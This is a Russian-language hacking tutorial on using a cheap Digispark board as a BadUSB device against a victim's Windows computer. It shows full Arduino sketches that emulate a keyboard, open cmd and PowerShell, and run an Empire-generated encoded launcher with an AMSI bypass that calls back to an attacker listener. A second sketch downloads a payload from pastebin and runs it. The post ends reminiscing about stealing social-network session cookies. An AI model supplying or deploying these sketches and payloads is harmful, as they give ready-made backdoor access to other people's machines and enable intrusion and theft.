Digispark - badusb за 1$

Digispark - badusb за 1$

@webware

t.me/webware

Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark.

Стоит эта приблуда 1$ во всем известном Китайском интернет-магазине.

Что-ж, какова цена - таковы и возможности. За такую скромную сумму мы имеем:

  1. 8 кб памяти для вашего кода, 2 из которых съедает загрузчик.
  2. Небольшую документацию: http://digistump.com/wiki/digispark

О том, как настроить окружение можно прочитать здесь: http://digistump.com/wiki/digispark/tutorials/connecting


Что же по поводу bad usb? Digi позволяет эмулировать клавиатуру, что даёт нам возможность создать powershell-backdoor. Приступим.


Генерация пейлоада.

Генерировать буду с помощью Empire.

sudo ./empire

listeners

uselistener http 

Что бы посмотреть все возможные варианты - после uselistener 2 раза нажмите Tab

Устанавливаем имя, порт, и запускаем листенер.

Получаем наш powershell-payload

launcher powershell Digi 

Пишем код.


Вся структура кода выглядит так:

#include "DigiKeyboard.h" // Импортируем модуль клавиатуры


void setup()
{
  // Одноразовое выполнение кода
}

void loop()
{
  // Циклическое выполнение кода            
}

Основа будет выполняться один раз. При тестировании возникла проблема переключения раскладки, но опытным путём выяснилось, что на русифицированной windows 7 все новые окна по умолчанию открываются с русской раскладкой. В таком случае код будет выглядеть так:

#include "DigiKeyboard.h"
#define KEY_ALT         226   // Кнопка left Alt
#define KEY_SHIFT       A0    // Кнопка left Shift

void setup()
{
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);   // Время простоя в миллисекундах
 
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Открываем поиск
  DigiKeyboard.delay(2000);
 
  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английску
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("cmd.exe");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
 
  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT); // Переводим раскладку на английский
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("powershell -noP -sta -w 1 -enc  JABHAHIAbwB1AFAAUABvAGwAaQBjAFkAUwBFAHQAdABpAG4ARwBTACAAPQAgAFsAcgBFAGYAXQAuAEEAUwBzAGUAbQBCAEwAeQAuAEcAZQB0AFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAgACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBHAEUAdABWAEEAbAB1AEUAKAAkAG4AVQBMAEwAKQA7ACQARwBSAG8AVQBwAFAAbwBsAEkAYwB5AFMARQBUAHQASQBuAGcAUwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AIAA9ACAAMAA7ACQARwByAG8AVQBwAFAAbwBsAGkAQwB5AFMARQBUAHQAaQBuAEcAcwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQAgAD0AIAAwADsAWwBSAGUARgBdAC4AQQBTAHMAZQBNAGIATABZAC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAdABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAHUAZQAoACQATgB1AEwATAAsACQAVABSAHUAZQApAH0AOwBbAFMAWQBTAFQARQBtAC4ATgBlAFQALgBTAEUAUgBWAEkAYwBFAFAAbwBpAE4AVABNAGEAbgBhAGcAZQBSAF0AOgA6AEUAeABwAEUAQwBUADEAMAAwAEMATwBOAHQASQBOAHUARQA9ADAAOwAkAHcAQwA9AE4AZQB3AC0ATwBiAGoAZQBDAFQAIABTAHkAUwBUAEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAEkARQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AEMALgBIAEUAQQBEAEUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAFIATwB4AFkAPQBbAFMAWQBTAHQARQBtAC4ATgBlAHQALgBXAGUAQgBSAGUAUQB1AEUAUwBUAF0AOgA6AEQAZQBGAGEAVQBMAHQAVwBlAGIAUABSAG8AeABZADsAJAB3AGMALgBQAFIATwBYAHkALgBDAFIARQBEAEUATgB0AEkAYQBMAHMAIAA9ACAAWwBTAHkAUwBUAEUATQAuAE4AZQB0AC4AQwByAGUARABlAG4AVABpAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQB1AEwAdABOAGUAVAB3AE8AUgBrAEMAcgBlAGQARQBOAHQAaQBhAEwAcwA7ACQASwA9AFsAUwB5AFMAVABlAG0ALgBUAGUAeABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcANwBiADIANABhAGYAYwA4AGIAYwA4ADAAZQA1ADQAOABkADYANgBjADQAZQA3AGYAZgA3ADIAMQA3ADEAYwA1ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAEEARABlAFIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABLAEYARQBIAEkAYwBSAEgAcgBvAGkAdAB1AG8AWQB6ADgARgBaAG0AOQA1AEwATwBkADAAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQAwADIAOgAxADMAMwA3ACcAOwAkAHQAPQAnAC8AbgBlAHcAcwAuAHAAaABwACcAOwAkAGQAYQB0AEEAPQAkAFcAQwAuAEQAbwBXAE4ATABvAGEARABEAEEAVABhACgAJABTAEUAcgArACQAdAApADsAJABJAHYAPQAkAEQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAYQB0AGEAWwA0AC4ALgAkAEQAYQBUAGEALgBsAGUATgBHAFQASABdADsALQBqAE8AaQBOAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA=="); // Полезная нагрузка
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop()
{
  digitalWrite(0, HIGH);
  digitalWrite(1, HIGH);    // Мигалка светодиода
  delay(100);               // по окончанию
  digitalWrite(0, HIGH);    // скрипта
  digitalWrite(1, HIGH);
  delay(100);         
}

Компилируем ии... Получаем ошибку. Памяти на столько мало, что не хватает даже на powershell-backdoor!

Можно попробовать вставить payload, сгенерированный в msfvenom с функцией --smallest, либо найти нагрузку меньше, но это вы можете сделать сами, я же покажу второй вариант.


Обходной путь.

В powershell версии 3.0 и выше (начиная с windows 8) появилась функция Invoke-WebRequest, которая позволяет парсить сайты. Воспользуемся ей.

Для этого заливаем свой пейлоад на pastebin:

Вместо прямого использования нагрузки спарсим его:

Код:

#include "DigiKeyboard.h"

#define KEY_ALT         226   // Кнопка left Alt
#define KEY_SHIFT       A0    // Кнопка left Shift

void setup()
{
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);   // Время простоя в миллисекундах
 
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(2000);
 
  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("cmd.exe");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
 
  DigiKeyboard.sendKeyStroke(KEY_ALT, KEY_SHIFT);
  DigiKeyboard.delay(2000);

  DigiKeyboard.println("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
 
  DigiKeyboard.println("$url = 'pastebin.com/tA76vf4A'");  // Ссылка на пейлоад на пастбин
  delay(50);
  DigiKeyboard.println("$result = Invoke-WebRequest -Uri $url");
  delay(50);
  DigiKeyboard.println("powershell.exe -nop -e $result.content");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop()
{
  digitalWrite(0, HIGH);
  digitalWrite(1, HIGH);    // Мигалка светодиода
  delay(100);               // по окончанию
  digitalWrite(0, HIGH);    // скрипта
  digitalWrite(1, HIGH);
  delay(100);              
}

Теперь код занимает только 54% памяти.

Вонзив этот корявый клинок правосудия в usb-разъём жертвы вашего компьютера, выполнится ваш код на C. Не плохой потенциал, но вряд ли 6 кб памяти дадут вам его реализовать...


Выводы.

Хорошая игрушка за свои деньги, не более. Будь там хотя бы 16 кб памяти - можно было бы использовать нормальные бекдор без костылей, которые работают только на windows 8 и выше.

Можно, конечно, попробовать скачивать нужные для выполнения программы с помощью чистого C++, но я не силён в нём. Либо просто воровать кукисы, но не то время нынче...


Эх, было время, когда можно было взломать аккаунт вк или однокласников обычной подменой кукисов...

Источник codeby.net

Report Page